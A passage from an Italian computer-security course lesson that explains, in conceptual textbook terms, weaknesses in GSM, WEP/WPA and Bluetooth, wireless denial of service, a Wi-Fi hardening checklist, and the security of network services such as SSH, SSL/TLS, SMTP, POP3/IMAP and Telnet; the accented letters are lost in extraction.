che dovrebbero essere utilizzati per la configurazione ini-
ziale e poi cambiati, equivale a nessuna protezione. Questo
comune per gli apparati Wi-Fi, che nascondono la loro
complessit dietro la possibilit di utilizzo immediato out of
the box, senza configurazione e senza sicurezza.
Attacco ai meccanismi di protezione.
Non sempre la presenza e lutilizzo di meccanismi di au-
tenticazione e cifratura sono una garanzia di protezione del
traffico. Un protocollo pu, infatti, presentare punti debo-
li negli algoritmi usati o nel modo in cui sono implementa-
ti, persino in presenza di chiavi di cifratura di lunghezza
adeguata.
Consideriamo i principali meccanismi di protezione of-
ferti dalle tecnologie elencate nella sezione precedente.
Telefonia cellulare
Abbiamo visto che la vecchia telefonia cellulare analo-
gica TACS non offriva sostanziali protezioni. La telefonia
GSM prevede meccanismi di autenticazione e cifratura vol-
ti a proteggere la connessione tra il cellulare e lantenna
della stazione fissa. Per un certo tempo tali algoritmi sono
stati tenuti segreti. Quando furono pubblicate e analizzate
le relative descrizioni, si trovarono i loro punti deboli, per-
mettendo di progettare attacchi che, nelle opportune con-
dizioni, consentono di clonare le SIM o di intercettare il traf-
fico. Secondo le cronache, lindebolimento dellalgoritmo
A5/AX (lo stream cipher che dovrebbe proteggere le tra-
smissioni GSM) stato intenzionale, cos da tenere le por-
te aperte alle forze di sicurezza (lo stream cipher un tipo
di cifrario molto veloce vedi la lezione 2). Di fatto, esisto-
no sul mercato apparecchiature (come i GSM Interceptor)
che consentono di effettuare questi tipi di intrusioni, anche
se il prezzo li rende poco accessibili, a differenza delle tec-
nologie disponibili per il mondo Wi-Fi.
Da alcuni anni sono state introdotte sul mercato delle
SIM che hanno la capacit di memorizzare il contenuto di
pi SIM convenzionali, permettendo al possessore di al-
ternare differenti numeri di telefono.
Per rendere possibile lo spostamento dei dati dalle SIM
originali a quella multipla, si trova in vendita in vari mer-
catini, per cifre vicine ai 70 Euro, un kit composto da un let-
tore di SIM, uno scrittore di SIM e un programma di trasfe-
rimento. Tale programma non altro che un craccatore
che, sfruttando le debolezze dell'algoritmo A5/AX, riesce a
identificare la chiave segreta contenuta nella SIM originale
esponendola a video e permettendone la riprogrammazio-
ne nella nuova SIM (in tempi che vanno dall'ora alla mezza
giornata, a seconda della fortuna e della velocit del PC
usato). Al di l delle implicazioni legali (di solito, le com-
pagnie telefoniche mantengono la propriet delle SIM che
danno solamente in uso al cliente), occorre notare come il
rischio di clonazione di una SIM sia decisamente reale.
Wi-Fi
Le WLAN hanno attraversato un periodo di cattiva fa-
ma quando lunico protocollo di sicurezza incluso negli
apparati era il WEP, violabile con relativa facilit. Chi non
si lasciato scoraggiare, nei primi anni del Wi-Fi, ha adot-
tato efficaci contromisure incapsulando i pacchetti (ci-
frati) nel tunnel di una VPN (rete privata virtuale), o ha
utilizzato un server di autenticazione. Dal 2003, data di
commercializzazione del WPA (oggi disponibile il WPA2,
che implementa l802.11i), la sicurezza delle WLAN mol-
to aumentata. Il WEP un esempio di cattivo utilizzo di
un algoritmo di crittografia allinterno di un protocollo,
tanto da renderlo sostanzialmente inefficace (WEP pro-
tegge dai normali utenti, ma non dal cracker; tra laltro,
un cracker ben attrezzato in grado di attaccare con suc-
cesso anche WPA e WPA2).
Lo standard 802.11 prevede, come meccanismo nativo,
lutilizzo di un protocollo di cifratura di strato 2 (data link)
chiamato WEP (Wired Equivalent Privacy), nellintento di
conferire al wireless la stessa sicurezza di un collegamento
via filo. Per tale cifratura, si utilizza lalgoritmo RC4, uno
stream cipher che utilizza una chiave simmetrica di 40 o 104
bit con un IV (Initialization Vector) di 24 bit (RC4 permette-
rebbe chiavi fino a 2048 bit), e che si basa essenzialmente su
unoperazione XOR (OR esclusivo) fra dati e stream genera-
to (vedi la lezione 2 per una spiegazione dei termini e delle
tecnologie di cifratura). Per utilizzare il WEP, laccess point
e il dispositivo wireless devono condividere preventiva-
mente la chiave per RC4; in assenza di tale accordo il traffi-
co non pu essere protetto, e si svolge in chiaro. Il vero pro-
blema, tuttavia, che WEP utilizza RC4 in modo scorretto,
con un IV di soli 24 bit; ci significa che possibile racco-
gliere nel tempo traffico diverso legato allo stesso IV e, per
le caratteristiche di tale protocollo, possibile quindi deci-
frare il traffico. In una rete a traffico intenso, il tempo ne-
cessario di alcune ore. Le caratteristiche di RC4 sono no-
te, com noto luso corretto dellalgoritmo per evitare tali
attacchi. Lerrore stato commesso nel progetto del proto-
collo WEP, e ha la conseguenza di consentire la decifratura
del traffico indipendentemente dalla lunghezza della chiave
utilizzata. Ci dimostra che lutilizzo della crittografia e di
chiavi lunghe (esistono anche implementazioni WEP con
chiavi di 232 bit) non garantisce automaticamente la prote-
zione dei dati; gli strumenti devono anche essere usati cor-
rettamente. Altri errori, sebbene meno gravi, contribuisco-
no a indebolire ulteriormente il protocollo WEP.
La scoperta di un errore di progetto di un protocollo, do-
po la vendita di una gran quantit di prodotti che lo utiliz-
zano, un problema difficile da risolvere. Se si modifica il
protocollo, si deve ripetere il processo di standardizzazio-
ne e affrontare le possibili incompatibilit con la versione
sul mercato. Nel frattempo, il mercato non si ferma e adot-
ta, probabilmente, soluzioni proprietarie per tamponare la
falla. Nel caso del WEP, il mercato ha reagito prontamente
in due direzioni: lutilizzo del protocollo 802.1x e lantici-
pazione del protocollo 802.11i, poi pubblicato nel 2004, at-
traverso il WPA (Wi-Fi Protected Access) del 2003, che uti-
lizza robuste tecniche crittografiche (come luso di chia-
vi dinamiche) per superare i problemi del WEP. WPA pu
funzionare in due modi, secondo il tipo di rete. Nelle abi-
tazioni e installazioni senza grandi problemi di sicurezza,
che non usano server di autenticazione, impiega una pre-
shared key, una chiave preventivamente condivisa che
viene impostata allatto della configurazione dei disposi-
tivi (access point e schede wireless). Nella modalit ge-
stita, WPA utilizza 802.1x pi EAP (Extensible Authentica-
tion Protocol) e un Authentication Server (come RADIUS):
il client, attraverso laccess point, negozia con il server
usando transazioni sicure per lo scambio delle chiavi di
sessione. Un altro vantaggio di 802.11i (gi anticipato in
alcuni dispositivi WPA) ladozione della pi efficace ci-
fratura simmetrica AES (Advanced Encryption Standard),
realizzata in hardware.
Per le reti Wi-Fi sono note altre tipologie di attacco,
praticabili anche su altre tecnologie wireless, ma parti-
colarmente rilevanti per le WLAN. Per ognuna dovrebbe-
ro essere valutate le contromisure. Un esempio lin-
stallazione di un rogue access point, ovvero un AP abusi-
vo collocato in prossimit della rete che cerca di appari-
re legittimo, in modo che qualche scheda wireless si con-
netta a esso anzich a un legittimo AP. In tal modo, lAP
abusivo diventa lo strumento per portare un attacco
man-in-the-middle e intercettare il traffico tra lhost wire-
less e il legittimo AP. In generale, tali attacchi possono es-
sere realizzati anche dallesterno degli edifici (salvo i ca-
si di speciali trattamenti volti a bloccare le emissioni a 2,4
GHz), e in molti casi permettono di accedere alla rete lo-
cale dellazienda.
Bluetooth
Anche per Bluetooth le aspettative iniziali in termini di
sicurezza non hanno retto alla prova di attacchi pi sofi-
sticati, inoltre i punti deboli del protocollo sono pi facil-
mente sfruttabili in presenza di limiti nellimplementazione
o nella configurazione dei dispositivi. Una corretta confi-
gurazione pu ridurre notevolmente il rischio; per esem-
pio, in un cellulare Bluetooth pu essere disattivato quan-
do non serve. I rischi maggiori riguardano, infatti, palmari
e cellulari, bersagli interessanti per catturare rubriche e
impegni (il furto di dati attraverso Bluetooth ha preso il no-
me di bluesnarfing). Sebbene la grande maggioranza di di-
spositvi Bluetooth sia di Classe 2 (10 metri di portata mas-
sima), con laiuto di unantenna direzionale adeguata gli at-
tacchi possono essere sferrati da oltre un chilometro, e an-
che attraverso le pareti.
Denial of service
La forma principale di DoS per le reti wireless consiste
nel disturbare le trasmissioni, un tipo di attacco relativa-
mente facile da attuare. Sono reperibili in commercio, ad
esempio, diversi jammer che impediscono le comunica-
zioni dei cellulari, sia allo scopo di non essere disturbati dai
loro squilli, sia per la difesa da attacchi terroristici che usa-
no il cellulare come telecomando. In alcuni nazioni, luso di
tali apparecchi pu costituire una violazione delle leggi na-
zionali.
Per una rete Wi-Fi, dato che la banda dei 2,4 GHz uti-
lizzata anche da altri apparati come forni a microonde,
cordless e altri dispositivi, un attaccante pu inondare la-
rea di radioonde e impedire il funzionamento della rete. Ol-
tre ad attaccare lo strato fisico con le interferenze radio, si
possono attuare altri tipi di attacchi DoS inondando gli ac-
cess point di pacchetti di disassociazione e deautentica-
zione spoofed (con indirizzo del mittente falsificate), cos
da interrompere le connessioni in atto. Altri esempi di at-
tacchi DoS includono linvio di pacchetti di autenticazione
mal formati, la saturazione dei buffer di associazione e di
autenticazione degli access point e la cancellazione dei fra-
me, ossia dei pacchetti trasmessi dalla rete (si corrompe un
frame di passaggio, che verr scartato dal destinatario, e si
invia un ACK al mittente), ma ne esistono altri.
Uneccellente fonte dinformazioni su attacchi e difese
per le reti Wi-Fi Wi-Foo, di Vladimirov, Gavrilenko e
Mikhailovsky, Addison-Wesley 2004. Unaltra fonte di rife-
rimento apprezzata Maximum Wireless Security di
Peikari e Fogie, Sams 2003. Per un trattamento generale
delle reti wireless, sono consigliati Wi-Fi Guide di Jeff
Duntman, Paraglyph Press 2004 e Wi-Fi Handbook, di
Ohrtman e Roeder, McGraw-Hill 2003.
Una rete Wi-Fi collegata a Internet ha tutti i problemi di
sicurezza di una rete cablata, pi quelli peculiari delle reti
wireless. Se lintera rete wireless, larchitettura sar simile
a quella di una rete cablata, per esempio con un modem
ADSL, un router, un firewall, uno switch e uno o pi access
point. In una rete domestica tutti gli elementi possono es-
sere integrati in un singolo apparecchio.
In una rete aziendale probabile che esista una rete ca-
blata a cui viene aggiunta la rete wireless, anche per sfrut-
tare la mobilit di portatili, PDA e telefoni IP. In tal caso le
due reti, cablata e wireless, presentano caratteristiche di-
verse di sicurezza (la rete wireless intrinsecamente meno
sicura e soggetta a una pi vasta tipologia di attacchi). E
quindi consigliabile interporre un firewall che regoli il traf-
fico in transito tra le due reti, per proteggere la LAN dalla
WLAN. Per le grandi reti e le installazioni con alti requisiti
di sicurezza, il firewall pu essere associato a un server di
autenticazione (per consentire laccesso dalla WLAN alla
LAN agli utenti con credenziali) o fungere da server VPN, in
modo che il traffico dagli host wireless, attraverso laccess
point fino alla LAN, sia autenticato e cifrato.
Un sommario delle misure consigliabili per non espor-
re una rete Wi-Fi a rischi superflui il seguente.
1. Installare un firewall (oggi, per la maggior parte, sono
del tipo Stateful Packet Inspection e, in una certa misura,
proteggono da un assortimento di tipi di intrusione ben
noti) e tenerlo aggiornato.
2. Installare antivirus sui computer e tenerli aggiornati
pressoch in tempo reale; adottare le dovute cautele
nel gestire e-mail e allegati.
3. Installare antispyware sui computer, aggiornati di fre-
Unarchitettura semplice
per LAN e WLAN
Architettura LAN e WLAN
con firewall aggiunto
quente (un trojian o cavallo di Troia, installato tramite
spyware, worm, ecc. permette a un cracker di control-
lare il computer e di rimappare la navigazione in rete,
con conseguenze potenzialmente disastrose).
4. Tenere backup regolari in luogo sicuro.
5. Attivare gli strumenti di autenticazione e cifratura, co-
me minimo WPA con chiavi condivise. Chi abbia anco-
ra componenti con il solo supporto WEP pu usarli, sa-
pendo che WEP tiene lontani gli utenti occasionali, ma
non i cracker. Per unazienda medio-grande, consi-
gliabile passare a componenti che supportino 802.11i e
attivarne le funzioni.
6. Modificare lSSID (Service Set Identifier) di default come
nome della rete wireless.
7. Modificare user e password di default delle utility di
configurazione di access point e schede.
8. Usare password non ovvie, secondo le regole gi citate
nelle lezioni precedenti.
9. Non fare affidamento sul filtro degli indirizzi MAC, che
non costituisce una protezione efficace.
10. E superfluo disattivare il segnale beacon degli access
point che trasmette lSSID come un radiofaro; utility co
me Kismet lo scoprono ugualmente.
11. Se avete dati segreti che non sono ben protetti da crit-
tografia, teneteli su supporti rimovibili da estrarre
quando vi allontanate dal computer.
12. Unazienda con dati sensibili da proteggere dovrebbe
considerare luso di VPN, o altre tecniche di cifratura,
per una protezione totale delle connessioni wireless;
anche lattivazione di SSH, SSL o TLS e luso di certifi-
cati per lautenticazione una misura efficace. WPA o
WPA2, pi luso di un server di autenticazione (RA-
DIUS, Kerberos, ecc.), servono altrettanto bene allo
scopo.
13. Regolare la potenza duscita degli access point al livello
necessario, evitando eccessive emissioni allesterno
dellarea da coprire. E preferibile evitare di collocare gli
access point sul perimetro esterno.
14. Spegnere il modem o il router ADSL quando nessuno lo
usa.
15. Spegnere i computer quando non sono in uso.
16. Solo se si usa il WEP, tenere sempre acceso laccess
point (ma spegnere il modem/router) per evitare il reset
dellIV (Initialization Vector).
17. Non far conto sulle distanze per sentirsi al sicuro: le an-
tenne direzionali coprono chilometri.
18. Negli ambienti di lavoro, proteggere laccesso fisico al-
linfrastruttura: server, router, switch, access point, ca-
blaggi, computer, ecc.
19. Negli ambienti di lavoro, monitorare la rete tenendo sot-
to controllo i file di log e installando uno o pi Intrusion
Detection System(il vasto assortimento di software gra-
tuito, anche per le funzioni di sicurezza, in ambiente Li-
nux permette di sperimentare diverse linee di difesa).
20. Ultimo, ma in realt primo principio: stabilire gli obiet-
tivi e le politiche di sicurezza appropriate e metterle in
pratica.
Servizi
Offerta di servizi di rete
I servizi di rete di un sistema sono offerti da applicazio-
ni in ascolto su porte tipicamente TCP o UDP. Ci che per-
mette a un processo dintercomunicare attraverso la rete
con un altro processo la combinazione dindirizzo IP, pro-
tocollo e numero di porta (a sua volta un indirizzo). Per
esempio, un web server situato a un certo indirizzo IP in
ascolto perch pronto a ricevere messaggi TCP sulla por-
ta 80, usata per trasferire pagine web tramite il protocollo
HTTP (HyperText Transfer Protocol). Il server, dopo i pream-
boli, risponde inviando al client la pagina web che gli sta-
ta richiesta. Indirizzo IP, protocollo e numero di porta for-
mano un socket (zoccolo). Come uno zoccolo hardware co-
stituisce un ricettacolo dove sinserisce un connettore, un
socket Internet un oggetto software che funge da termi-
nazione per la comunicazione dei processi in rete.
In pratica, un computer in rete che offre servizi agli uten-
ti utilizza un certo numero di processi diversi. Nellam-
biente di rete TCP/IP, tali servizi sono disponibili presso le
rispettive porte. Quando un computer si connette a un al-
tro computer per accedere a un particolare servizio, viene
stabilita una connessione end-to-end (da punto terminale a
punto terminale), e presso ogni terminazione viene creato
un socket (lanalogo della presa per lo spinotto della con-
nessione). Questi punti terminali (o di accesso) della co-
municazione possono essere usati sia per comunicare in
modo lecito, sia per attaccare i servizi e il sistema. Un ser-
vizio , infatti, accessibile a chiunque, salvo attivare mec-
canismi di selezione e autenticazione che, il pi delle volte,
intervengono dopo la connessione. Di conseguenza, chiun-
que pu provare ad attaccare un servizio e, attraverso di
esso, il sistema. Perci, i servizi offerti su una rete accessi-
bile pubblicamente devono essere selezionati, configurati
e gestiti con tutte le cure del caso.
I servizi offerti su una rete locale o privata sono poten-
zialmente attaccabili nello stesso modo. Da un lato, ci si
aspetta che solo utenti locali siano in grado di accedervi.
Daltra parte, carenze di configurazione e bug software pos-
sono rendere accessibile una rete privata (ricordiamo il ca-
so di Windows XP SP1, che in certe condizioni permetteva
laccesso da Internet alle risorse LAN condivise). Ma, so-
prattutto, non bisogna trascurare la possibilit (avvalora-
ta dalle statistiche) che ci siano utenti locali motivati e in-
tenzionati ad attaccare il sistema dallinterno. Pertanto, an-
che i servizi locali devono essere selezionati e configurati
con attenzione, attivando solo quelli effettivamente neces-
sari o utili dopo averne esaminato la funzione, lo scopo e i
rischi. Le considerazioni che seguono valgono, in primo
luogo, per i servizi offerti su Internet, ma devono essere co-
munque tenute presenti anche per i servizi locali.
Servizi Internet
Lofferta di servizi su Internet deve essere stabilita at-
traverso unattenta valutazione. Molti servizi non sono na-
ti per essere utilizzati su reti pubbliche o su reti geografi-
che, quindi molte delle loro caratteristiche, da un punto di
vista della sicurezza, sono totalmente inadeguate a questi
ambienti allargati. Un esempio tipico NetBIOS (Network
Basic Input/Output System), un servizio nato per collegare
loriginario PC IBM a piccole reti locali. NetBIOS fu svilup-
pato da Sytec per IBM nel 1983 come semplice API (Appli-
cation Programming Interface) per condividere i dati tra
computer. Come estensione del BIOS di sistema, aveva bi-
sogno di appoggiarsi a un protocollo di trasporto, che al-
linizio fu NetBEUI (NetBIOS Extended User Interface) di IBM,
a cui poi si affianc IPX (Internetwork Packet Exchange) di
Novell e, infine, TCP/IP tramite linterfaccia NetBT o NBT
(NetBIOS over TCP/IP). Le RFC 1001 e 1002 pubblicate dal-
lIETF nel 1987 descrivono il funzionamento di NetBIOS su
TCP/IP, e sono tuttora utilizzate, ad esempio, nelle reti mi-
ste Windows-Linux. Il risultato che NetBIOS oggi gestisce
un gran numero di servizi attraverso connessioni alle stes-
se porte non permettendo, quindi, la granularit dei con-
trolli che opportuna in un ambiente come Internet. Ogni
servizio pensato per essere utilizzato in un ambiente con
determinati requisiti, e un servizio nato per una rete loca-
le difficilmente sar adatto a essere usato su una rete pub-
blica geografica.
Nel valutare lopportunit di offrire un servizio su Inter-
net, si devono valutare i seguenti fattori:
Per unazienda
medio-piccola (fino a
un centinaio di posti
di lavoro) con un mix
di LAN e WLAN, una
soluzione efficace
lutilizzo di un
gateway che
concentri firewall,
access point e servizi
di sicurezza. Un
esempio efficace
Safe@Office 500W di
Check Point, che
include switch con
supporto VLAN,
server di stampa,
supporto DMZ (o
secondo accesso
WAN per un
collegamento Internet
di backup),
prevenzione delle
intrusioni, servizi web
(aggiornamento
automatico online del
firmware, antivirus e
antispam sulla posta
in arrivo, filtro degli
accessi web, accesso
remoto tramite DNS
dinamico, server
VPN, reporting
mensile via e-mail e
gestione remota
sicura) e altro ancora.
Safe@Office 500W
integra un assortimento
di misure di protezione
5.7.3.1 Essere
informati dei servizi
di rete offerti dalle
applicazioni sui punti
d'accesso ai server.
5.7.3.2 Conoscere
quale insieme
minimo e pi sicuro
di servizi prudente
abilitare su server
Internet.
1. leffettiva necessit o utilit del servizio;
2. ladeguatezza degli eventuali meccanismi di autentica-
zione a un ambiente incontrollato o ostile;
3. gli effetti di attacchi ai nodi intermedi fra client e server
(tipicamente router);
4. quanto il servizio sia collaudato e aggiornato (sia in ter-
mini di protocollo, sia di software) e quanto sia facile e
veloce ottenere eventuali aggiornamenti che si rendes-
sero necessari;
5. la stabilit del servizio in presenza di connessioni desti-
nate a causare disservizi.
Tali considerazioni permettono di scartare, oltre ai ser-
vizi destinati alle reti locali, anche un gran numero di ser-
vizi pensati per essere usati su Internet che, per anzianit,
difetti di progettazione, o semplicemente scarsa diffusione,
non risultano adeguati dal punto di vista della sicurezza.
Per esempio, il servizio SSH (Secure Shell), nato per colle-
garsi ed eseguire comandi in modo sicuro su un computer
in rete (in particolare Internet), ha subito diverse evolu-
zioni dalla sua introduzione nel 1995. Alla versione 1 di
scarsa affidabilit, sono seguite la versione 2 e la versione
OpenSSH. Oggi si dovrebbe escludere luso di SSH-1, e ci si
dovrebbe tenere informati su eventuali vulnerabilit di
SSH-2 e OpenSSH. Per esempio, il CERT/CC (Centro di coor-
dinamento dei CERT - Computer Emergency Response Team
- presso luniversit Carnegie Mellon) nel 2003 ha pubbli-
cato un bollettino (CERT Advisory CA-2003-24) riguardo
una vulnerabilit nella gestione dei buffer in OpenSSH che
pu essere sfruttata da un utente remoto per corrompere
aree di memoria ed eseguire codice maligno o causare una
condizione di Denial of Service. Molti tra i maggiori pro-
duttori di software in ambiente Unix e derivati hanno
emesso prontamente le patch correttive, ma le statistiche
indicano che esiste una buona percentuale di sistemi che
non sono tenuti aggiornati e che, quindi, accumulano vul-
nerabilit.
A meno di non avere una stretta necessit di comanda-
re delle macchine da remoto, consigliabile non attivare il
demone sshd; in ogni caso, buona norma, qualora si in-
stalli tale demone, mantenersi informati tramite i bolletti-
ni di sicurezza (per esempio di CERT/CC, di SANS Institute
e di Secunia). Solitamente, SSH incluso nelle distribuzio-
ni di derivazione Unix ed facilmente reperibile per Win-
dows (PuTTY la versione per Windows pi nota; imple-
menta SSH1 e SSH2, ed compatibile con OpenSSH - per
una descrizione di SSH vedi la lezione 2).
In generale, ogni servizio attivo un potenziale punto di
attacco, quindi: 1) i servizi dovrebbero essere limitati il pi
possibile, 2) il software di sistema deve essere tenuto ag-
giornato (in primo luogo con le patch di sicurezza) e 3) gli
amministratori di reti e sistemi dovrebbero abbonarsi ai
bollettini di sicurezza per conoscere le vulnerabilit dei va-
ri componenti (hardware, software, networking), il livello
di rischio e la disponibilit di rimedi temporanei o perma-
nenti.
SSL/TLS
Secure Socket Layer (SSL) e Transport Layer Security
(TLS), il suo successore, pi che servizi sono protocolli
crittografici che forniscono comunicazioni sicure su Inter-
net. Ci sono lievi differenze tra SSL 3.0 e TLS 1.0, ma il pro-
tocollo sostanzialmente lo stesso, quindi con il termine
SSL includiamo anche TLS. SSL utilizza funzioni crittogra-
fiche e certificati X.509 per aggiungere autenticazione, in-
tegrit e riservatezza a una connessione TCP. E nato per
proteggere i collegamenti HTTP (HTTPS infatti HTTP su
SSL), ma viene usato anche per altri protocolli (per ap-
profondire il tema della crittografia rivedi la lezione 2, nel-
la lezione 6 trovate una descrizione dettagliata del sistema
di certificazione).
SSL stato sviluppato da Netscape per fornire lauten-
ticazione dei web server sicuri tramite certificato (per il
client lautenticazione tramite certificato opzionale, e so-
litamente omessa), e per condividere in modo sicuro le
chiavi di cifratura tra server e client. TLS la versione sot-
to forma di standard Internet (la RFC 2246) di SSL, che a
sua volta proprietario. SSL e TSL sono comunque in-
compatibili, cio non possono interoperare.
Lo schema di funzionamento di SSL il seguente:
1. lutente inserisce nel browser lURL del server e il client
si connette al server;
Le opzioni di SSH nello
shell KDE di Linux
Apertura di una sessione
SSL
SSH incluso in Linux
2. server e client contrattano gli algoritmi crittografici uti-
lizzabili da entrambi;
3. il client invia un challenge (dato da elaborare) al server;
4. il server restituisce un hash del challenge (un hash
unimpronta digitale del dato originario da cui non pos-
sibile risalire a questultimo) firmato con la propria chia-
ve privata, pi il proprio certificato X.509;
5. opzionalmente, anche il client viene autenticato con un
meccanismo analogo;
6. in questa fase, viene anche generata una master key
(chiave principale);
7. usando la master key vengono generate le session key
(chiavi di sessione) simmetriche che, rigenerate perio-
dicamente, sono utilizzate per leffettiva cifratura dei da-
ti trasmessi.
Tale sistema presenta alcuni problemi potenziali:
1. a meno che il web server sia correttamente configurato
per richiedere luso di SSL, il server non autenticato
presso il client, e pu avvenire una comunicazione nor-
male, non protetta; la sicurezza si basa sulluso di https://
anzich http:// da parte del client.
2. Se il client non ha una copia del certificato della CA, il ser-
ver si offre di procurane una. Bench ci assicuri che
possa avvenire la comunicazione cifrata tra client e ser-
ver, non fornisce lautenticazione del server. La sicurez-
za della comunicazione si basa sul rifiuto da parte del
client di connettersi a un server che non sia identificabile
da una terza parte.
3. Il processo dinserimento del certificato della CA nella
memoria del browser non ben controllato. In passato
pu essere stato una questione di pagamento di tariffe o
di rapporti di fiducia. Ora, ad esempio, Microsoft richie-
de che i certificati inclusi nella memoria del proprio
browser appartengano a CA sottoposte a un audit di ve-
rifica.
4. La protezione della chiave privata vitale. Mentre le im-
plementazioni di default richiedono solo che la chiave si
trovi in unarea protetta del sistema, possibile imple-
mentare sistemi a base hardware che richiedano che la
chiave privata sia memorizzata solo su un dispositivo
hardware (come, ad esempio, una Smart Card oppure
una chiave USB con memoria flash).
5. Come con qualunque sistema che si appoggia sulla PKI
(Public Key Infrastructure, vedi la lezione 6), la decisione
di fornire a unorganizzazione un certificato da usare sul
suo web server si basa su policy scritte da persone e su
decisioni umane, soggette a errori. Per esempio, un cer-
tificato SSL che garantisce che un server appartenga a
una certa azienda, potrebbe essere rilasciato a qualcuno
che non rappresenta tale azienda. Inoltre, anche dopo la
scadenza di un certificato o lemissione di un avviso a
causa di qualche problema, probabile che molti utenti
ignorino lavviso e proseguano nelloperazione corrente.
SMTP
SMTP (Simple Mail Transfer Protocol) il protocollo uti-
lizzato per il trasferimento dei messaggi di posta elettroni-
ca da un client a un server (durante linvio dei messaggi in
uscita) o da un server allaltro. Si tratta di un protocollo
che, di per s, offre scarsa sicurezza: non cifrato n au-
tenticato, dato che la posta elettronica pu essere tra-
smessa da chiunque e a chiunque.
La protezione dei messaggi generalmente affidata ai
mittenti dei messaggi, attraverso luso dei protocolli PGP
(Pretty Good Privacy) e S/MIME (Secure Multipurpose Inter-
net Mail Extension). Inoltre, anche sui server di posta op-
portuno utilizzare un antivirus che riduca il rischio di rice-
vere e diffondere virus e worm tramite e-mail, che attual-
mente uno dei metodi di propagazione pi utilizzati.
Le problematiche di sicurezza legate al servizio riguar-
dano principalmente la diffusione dello spam, ovvero dei
messaggi di posta elettronica pubblicitari non richiesti, n
approvati. Lo spamming unattivit che richiede un inve-
stimento minimo, perch gli inserzionisti non hanno reali
costi operativi al di l della gestione delle liste di indirizzi.
Visto che la barriera dingresso cos bassa, il volume di
posta indesiderata ingente e ha, quindi, prodotto altri ti-
pi di costo sopportati dal pubblico (in termini per esempio
di disservizi, perdita di produttivit e frodi) e dagli ISP (In-
ternet Service Provider), che devono aggiungere risorse
hardware/software per far fronte al diluvio di messaggi. Lo
spam sempre pi nellocchio dei legislatori, nellintento di
comminare sanzioni contro i responsabili e frenare il feno-
meno.
Dato che la maggior parte delle reti cerca di ridurre al
minimo il traffico di spam, chi invia questo tipo di messag-
gi cerca di nascondere al meglio la sua origine, in modo da
impedirne o renderne pi difficile il blocco. Per farlo, una
tecnica utilizzata consiste nellappoggiarsi a server SMTP
configurati come Open Relay (relay aperti), ovvero server
che ricevono e ritrasmettono messaggi che non hanno n
mittente, n destinatario nei domini che gestiscono. Si trat-
ta di una funzionalit che, in origine, era utile e attiva su
ogni server, ma che da parecchi anni necessario disatti-
vare proprio a causa dellabuso che ne viene fatto dagli
spammer. Attualmente, la maggior parte dei prodotti
software per realizzare un server SMTP hanno tale funzio-
nalit disattivata per default. Tuttavia, la verifica non ba-
nale, anche perch esistono vari modi di fare accettare un
messaggio a un server, e gli spammer di professione usano
tutti i mezzi noti.
Di conseguenza, opportuno verificare lo stato dei
propri server di posta con prodotti o servizi adeguati. In-
fatti, i server utilizzati per la diffusione di spam (allinsa-
puta dei loro proprietari) vengono facilmente inseriti in
apposite black list, con il rischio che molti siti non accet-
tino pi messaggi da quei server, neppure la posta lecita.
Un esempio il database SORBS (Spam and Open Relay
Blocking System), presso www.au.sorbs.net che, oltre a
gestire una lista di fonti di spam, fornisce anche un ser-
vizio di verifica. Anche diversi trojan horse (cavalli di
Troia) e worm installano un servizio di proxy SMTP, uti-
lizzato dagli spammer come Open Relay e soggetto a es-
sere elencato sulle black list. In altre parole, c un lega-
me tra il malware e lo spam.
possibi-
le autentica-
re gli accessi
utilizzando il
prot ocol l o
SASL (Simple
Aut hent i ca-
tion and Secu-
rity Layer,
RFC 2222),
unarchitet-
tura a plug-in
per lautenti-
cazione e au-
torizzazione
dei protocolli
Internet basati su connessione (connection-based). SASL di-
saccoppia i meccanismi di autenticazione dai protocolli ap-
plicativi, consentendo in teoria di usare qualunque mec-
canismo di autenticazione supportato da SASL allinterno
di qualunque protocollo applicativo che lo utilizzi. Tipica-
mente, SASL si occupa solo dellautenticazione, mentre la
cifratura dei dati trasmessi affidata ad altri meccanismi,
come TSL.
Per usare SASL, un protocollo include un comando per
lidentificazione di un utente presso un server e, opzional-
mente, per negoziare un livello di sicurezza per le succes-
La verifica di un indirizzo
con SORBS
sive interazioni del protocollo. Il comando richiede come
argomento uno dei meccanismi di autenticazione registra-
ti ufficialmente per SASL; finora ne sono stati previsti un
paio di dozzine, che includono due versioni di Kerberos.
Tra i protocolli che fanno uso di SASL ci sono IMAP (Inter-
net Message Access Protocol per la consultazione dei mes-
saggi disponibili su un server di posta), LDAP (Lightweight
Directory Access Protocol per la consultazione di direc-
tory), POP (Post Office Protocol per il prelievo e la copia
in locale dei messaggi di posta elettronica), SMTP (Simple
Mail Transfer Protocol) e XMPP (Extensible Messaging and
Presence Protocol, un protocollo aperto di instant-messa-
ging).
Infine, possibile utilizzare SMTP su SSL (RFC 3207),
purch i client siano configurati per tale funzionalit; non
, quindi, un meccanismo adatto a ricevere messaggi da In-
ternet, mentre si presta a proteggere linvio di messaggi da
parte di utenti locali. Ad esempio, in Outlook lutente atti-
va lautenticazione con SSL nel dialogo di opzioni avanza-
te relative allaccount.
POP3 e IMAP
POP versione 3 e IMAP versione 4 sono i protocolli che
permettono ai client di scaricare i messaggi dai server di
posta. Nel caso di utenza aziendale con propri server, de-
vono essere attivati e accessibili da Internet solo se si pre-
vede che gli utenti debbano accedere da Internet alla pro-
pria casella di posta (ad esempio, utenti mobili e accesso
casa-lavoro). Attivare questi servizi significa rendere in
qualche modo accessibile il proprio servizio interno di po-
sta e, quindi, esporre su Internet informazioni riservate.
POP3 un protocollo del tutto insicuro: il traffico tra-
smesso in chiaro, e lautenticazione basata su password.
Si ottiene una maggiore protezione utilizzando SSL. IMAP
potenzialmente offre pi opzioni, ma generalmente lac-
cesso effettuato con le stesse modalit di POP3 (traffico
in chiaro e password). Anche IMAP pu essere protetto
con SSL.
Telnet
Telnet un protocollo per eseguire login remoto con in-
terfaccia a linea di comando. E stato sviluppato vari de-
cenni fa, quando gli utenti appartenevano a una comunit
(istituiti accademici ed enti di ricerca) che non poneva par-
ticolari rischi di sicurezza. Poich traffico e password so-
no trasmessi in chiaro, senza misure di autenticazione, ri-
servatezza e integrit, luso di Telnet su Internet non ac-
cettabile, visto che permette di eseguire comandi che dan-
no accesso a qualsiasi attivit del sistema. Esistono alter-
native molto pi sicure come SSH, ormai supportato da
una gran quantit di sistemi e apparecchiature. Su alcuni
sistemi esiste anche per Telnet una versione su SSL. In ogni
caso, al di l della sua protezione, la disponibilit di un ser-
vizio che attraverso Internet permetta di eseguire coman-
di generici sul sistema rischiosa, quindi dovrebbe esse-
re valutata e ridotta ai casi strettamente necessari.
Mentre oggi le distribuzioni Linux tendono a non in-
stallare il servizio Telnet-server (separato dal client Telnet),
